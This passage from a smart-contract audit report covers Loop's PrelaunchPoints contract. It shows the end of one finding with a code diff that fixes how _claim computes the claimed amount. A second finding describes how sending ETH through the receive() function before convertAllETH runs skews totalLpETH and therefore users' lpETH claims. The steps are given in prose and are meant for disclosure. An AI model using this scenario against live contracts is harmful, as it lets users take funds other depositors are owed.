        emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
    }
function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
-            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
-            claimedAmount = address(this).balance;
+            claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

Assessed type

Context

Users can raise the `lpETH` tokens out of the locking process

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L392
https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L315
https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/README.md?plain=1#L124

Vulnerability details

Issue Description

The protocol's main job is to lock ETH and other tokens to send lpETH tokens to users at the right time
There is an invariant that says: Deposits are active up to the lpETH contract and lpETHVault contract are set
Users deposit and lock ETH before loopActivation and their lpETH tokens correspond to the number of tokens they deposited at the right time so technically they must not be able to manipulate the lpETH tokens after loopActivation.
However, this can be done by sending ether to the contract thanks to the receive() function before the owner calls the convertAllETH function which sets the totalLpETH.
The value of totalLpETH is crucial for calculating the number of lpETH tokens users can claim
This unintentionally enables users to influence their lpETH token balance after loopActivation, violating the protocol's intended behavior and its invariant

Impact

This vulnerability allows users to manipulate their lpETH token balance after the critical loopActivation phase, potentially leading to discrepancies in the issuance of lpETH tokens. This undermines the protocol's security and reliability, impacting the expected behavior of deposit and token issuance mechanisms

Proof of Concept

Here is the scenario:

  1. Users lock ETH
  2. the owner calls the setLoopAddresses function and ends up with the deposits
  3. According to one of the main invariants, Users can't lock and deposit any tokens after setting the loopActivation
    However, Users can send ETH to the contract before the owner calls the convertAllETH which is unexpected behavior and breaks the functionality of the protocol

Tools Used

manual review

Recommended Mitigation Steps

remove the receive() function or modify it

Assessed type

Timing

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.